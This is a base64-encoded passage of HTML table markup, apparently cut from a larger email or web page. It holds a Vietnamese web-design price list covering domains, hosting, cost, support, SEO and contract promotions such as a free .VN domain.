O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBp biA1LjRwdDtoZWlnaHQ6MTQuNzVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNz PSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxp bmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVz IE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+DQoJCQkJCVTqbiBtaSYjNzg3MztuPC9mb250Pjwv c3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI4IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRo OjIwLjlwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1 LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjE0Ljc1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8 cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2Vu dGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFt aWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij4xPC9mb250Pjwvc3Bh bj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIyNDUiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lk dGg6MTgzLjRwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBp biA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjE0Ljc1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJ CQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjog Y2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPC90ZD4NCgkJCQkJPHRkIHdpZHRo PSIyNDEiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6MTgwLjU1cHQ7Ym9yZGVyOnNvbGlkIHdp bmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDox NC43NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxp Z249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1h bCI+DQoJCQkJCTxzcGFuIGxhbmc9IlZJIiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBS b21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPlTqbiBtaSYjNzg3MztuIHF1JiM3ODg5O2MgdCYj Nzg3MTsgPC9mb250Pjwvc3Bhbj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1l cyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPg0KCQkJCQkuQ09NPC9mb250Pjwvc3Bhbj48c3Bh biBsYW5nPSJWSSIgc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNp emU9IjQiPiwgDQoJCQkJCS5ORVQ8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8 dHIgc3R5bGU9ImhlaWdodDogLjRpbiI+DQoJCQkJCTx0ZCB3aWR0aD0iOTYiIHZhbGlnbj0idG9w IiBzdHlsZT0id2lkdGg6NzIuMjVwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAg ICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0Oi40aW4iIGJnY29sb3I9IiNGRkND Q0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4 dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9 ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPg0KCQkJCQlIb3N0 aW5nPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI4IiB2YWxpZ249InRvcCIg c3R5bGU9IndpZHRoOjIwLjlwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0Oi40aW4iIGJnY29sb3I9IiNGRkNDQ0Mi Pg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1h bGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9 ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij4yPC9m b250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIyNDUiIHZhbGlnbj0idG9wIiBz dHlsZT0id2lkdGg6MTgzLjRwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0Oi40aW4iIGJnY29sb3I9IiNGRkNDQ0Mi Pg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1h bGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZv bnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPg0KCQkJCQlMJiM0MzI7 dSB0ciYjNzkxOTsgMzAwTSBiJiMyNTk7bmcgdGj0bmcgMTBHPC9mb250Pjwvc3Bhbj48L3RkPg0K CQkJCQk8dGQgd2lkdGg9IjI0MSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoxODAuNTVwdDti b3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4g NS40cHQ7aGVpZ2h0Oi40aW4iIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNv Tm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhl aWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcg Um9tYW4iPjxmb250IHNpemU9IjQiPg0KCQkJCQlMJiM0MzI7dSB0ciYjNzkxOTsgMUcgYiYjMjU5 O25nIHRo9G5nIDQwRzwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQk8L3RyPg0KCQkJCTx0ciBzdHls ZT0iaGVpZ2h0OiAyOC4xcHQiPg0KCQkJCQk8dGQgd2lkdGg9Ijk2IiB2YWxpZ249InRvcCIgc3R5 bGU9IndpZHRoOjcyLjI1cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFk ZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyOC4xcHQiIGJnY29sb3I9IiNGRkNDQ0Mi Pg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1h bGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZv bnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPg0KCQkJCQlDaGkgcGjt PC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI4IiB2YWxpZ249InRvcCIgc3R5 bGU9IndpZHRoOjIwLjlwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRk aW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjI4LjFwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+ DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFs aWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjM8L2Zv bnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI0NSIgdmFsaWduPSJ0b3AiIHN0 eWxlPSJ3aWR0aDoxODMuNHB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBh ZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjguMXB0IiBiZ2NvbG9yPSIjRkZDQ0ND Ij4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQt YWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4xLDAwMCwwMDA8L2Zv bnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMjQxIiB2YWxpZ249InRvcCIgc3R5bGU9 IndpZHRoOjE4MC41NXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRp bmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjguMXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4N CgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxp Z246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4NCgkJCQkJVPl5IHRoZW8g eep1IGMmIzc4NDc7dSBraOFjaCBo4G5nPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCTwvdHI+DQoJ CQkJPHRyIHN0eWxlPSJoZWlnaHQ6IDE0Ljc1cHQiPg0KCQkJCQk8dGQgd2lkdGg9Ijk2IiB2YWxp Z249InRvcCIgc3R5bGU9IndpZHRoOjcyLjI1cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4w cHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoxNC43NXB0IiBiZ2Nv bG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIg c3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4N CgkJCQkJU3VwcG9ydDwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIyOCIgdmFs aWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoyMC45cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4w cHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoxNC43NXB0IiBiZ2Nv bG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIg c3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxi PjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQg c2l6ZT0iNCI+NDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iNDg1IiBj b2xzcGFuPSIyIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjM2My45cHQ7Ym9yZGVyOnNvbGlk IHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdo dDoxNC43NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIg YWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5v cm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFu Ij4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+MjRoLzI0aDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJ CQkJPC90cj4NCgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMjguMXB0Ij4NCgkJCQkJPHRkIHdpZHRo PSI5NiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo3Mi4yNXB0O2JvcmRlcjpzb2xpZCB3aW5k b3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6Mjgu MXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249 ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+ DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBz aXplPSI0Ij4NCgkJCQkJVO1uaCBuJiMyNTk7bmc8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0 ZCB3aWR0aD0iMjgiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6MjAuOXB0O2JvcmRlcjpzb2xp ZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWln aHQ6MjguMXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIg YWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5v cm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFu Ij4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+NTwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0 ZCB3aWR0aD0iMjQ1IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjE4My40cHQ7Ym9yZGVyOnNv bGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hl aWdodDoyOC4xcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFs IiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDog bm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4i Pjxmb250IHNpemU9IjQiPg0KCQkJCQkmIzI3MjsmIzc4NDc7eSAmIzI3MzsmIzc5MTE7PC9mb250 Pjwvc3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI0MSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3 aWR0aDoxODAuNTVwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5n OjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjI4LjFwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJ CQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWdu OiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1m YW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+SCYjNzg5NTsgDQoJCQkJCXRy JiM3OTA3OyB0aGVvIHnqdSBjJiM3ODQ3O3U8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4N CgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMTQuNzVwdCI+DQoJCQkJCTx0ZCB3aWR0aD0iOTYiIHZh bGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NzIuMjVwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAx LjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjE0Ljc1cHQiIGJn Y29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQi Pg0KCQkJCQlHaWFvIGRpJiM3ODc5O248L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0 aD0iMjgiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6MjAuOXB0O2JvcmRlcjpzb2xpZCB3aW5k b3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTQu NzVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWdu PSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwi Pg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJ CQkJCTxmb250IHNpemU9IjQiPjY8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lk dGg9IjI0NSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoxODMuNHB0O2JvcmRlcjpzb2xpZCB3 aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6 MTQuNzVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFs aWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3Jt YWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZv bnQgc2l6ZT0iNCI+DQoJCQkJCVBob25nIHBo+iCWIGgmIzc4OTU7IHRyJiM3OTA3OyB0+XkgJiMy NzM7JiM3ODkzO2k8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMjQxIiB2YWxp Z249InRvcCIgc3R5bGU9IndpZHRoOjE4MC41NXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEu MHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTQuNzVwdCIgYmdj b2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIi IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8 c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+ DQoJCQkJCVRoZW8geep1IGMmIzc4NDc7dSBraOFjIGjgbmc8L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJ CQkJPC90cj4NCgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMTQuNzVwdCI+DQoJCQkJCTx0ZCB3aWR0 aD0iOTYiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NzIuMjVwdDtib3JkZXI6c29saWQgd2lu ZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjE0 Ljc1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGln bj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFs Ij4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250 IHNpemU9IjQiPkg8L2ZvbnQ+PC9zcGFuPjxzcGFuIGxhbmc9IlZJIiBzdHlsZT0iZm9udC1mYW1p bHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+JiM3ODk1OyANCgkJCQkJdHImIzc5 MDc7IFNFTzwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIyOCIgdmFsaWduPSJ0 b3AiIHN0eWxlPSJ3aWR0aDoyMC45cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQog ICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoxNC43NXB0IiBiZ2NvbG9yPSIj RkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9 InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFu IGxhbmc9IlZJIiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxm b250IHNpemU9IjQiPjc8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI0 NSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDoxODMuNHB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0 ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTQuNzVw dCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJj ZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0K CQkJCQk8c3BhbiBsYW5nPSJWSSIgc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4i Pg0KCQkJCQk8Zm9udCBzaXplPSI0Ij5D8zwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdp ZHRoPSIyNDEiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6MTgwLjU1cHQ7Ym9yZGVyOnNvbGlk IHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdo dDoxNC43NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIg YWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5v cm1hbCI+DQoJCQkJCTxzcGFuIGxhbmc9IlZJIiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5l dyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPkPzIDwvZm9udD48L3NwYW4+PC90ZD4NCgkJ CQk8L3RyPg0KCQkJCTx0ciBzdHlsZT0iaGVpZ2h0OiAxMzcuNjVwdCI+DQoJCQkJCTx0ZCB3aWR0 aD0iOTYiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NzIuMjVwdDtib3JkZXI6c29saWQgd2lu ZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjEz Ny42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxp Z249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1h bCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9u dCBzaXplPSI0Ij4NCgkJCQkJPGJyPg0KCQkJCQlWJiM3ODk5O2kgZ/NpIHRoaSYjNzg3MTt0IGsm Izc4NzE7IHRoZW8geep1IGMmIzc4NDc7dSBj8yB0ciYjNzg4MzsgZ2nhIGNhbywga2h1eSYjNzg3 MTtuIG0mIzc4NDE7aSANCgkJCQkJdGjqbTwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdp ZHRoPSI1MTMiIGNvbHNwYW49IjMiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6Mzg0LjhwdDti b3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4g NS40cHQ7aGVpZ2h0OjEzNy42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9 Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGlu ZS1oZWlnaHQ6IG5vcm1hbDsgbWFyZ2luLWJvdHRvbTogLjAwMDFwdCI+DQoJCQkJCTxzcGFuIHN0 eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4NCgkJCQkJ ViYjNzg5OTtpIGfzaSB0aGkmIzc4NzE7dCBrJiM3ODcxOyB3ZWJzaXRlIHRoZW8geep1IGMmIzc4 NDc7dTo8YnI+DQoJCQkJCS0gViYjNzg5OTtpIGgmIzc5MDc7cCAmIzI3MzsmIzc4OTE7bmcgdHLq biA1IHRyaSYjNzg3OTt1OiBraOFjaCBo4G5nICYjMjczOyYjNDMyOyYjNzkwNztjIHQmIzc4NjM7 bmcgbmdheQ0KCQkJCQk8L2ZvbnQ+PC9zcGFuPjwvcD4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1h bCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6 IG5vcm1hbDsgbWFyZ2luLWJvdHRvbTogLjAwMDFwdCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+MSB06m4g bWkmIzc4NzM7biAuVk4gdHImIzc4ODM7IGdp4SA4MzAsMDAwIHZuZDxicj4NCgkJCQkJPC9mb250 Pjwvc3Bhbj48L2I+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJv bWFuIj48Zm9udCBzaXplPSI0Ij4tIA0KCQkJCQlWJiM3ODk5O2kgaCYjNzkwNztwICYjMjczOyYj Nzg5MTtuZyB0cupuIDEwLDAwMCwwMDA6IGto4WNoIGjgbmcgJiMyNzM7JiM0MzI7JiM3OTA3O2Mg 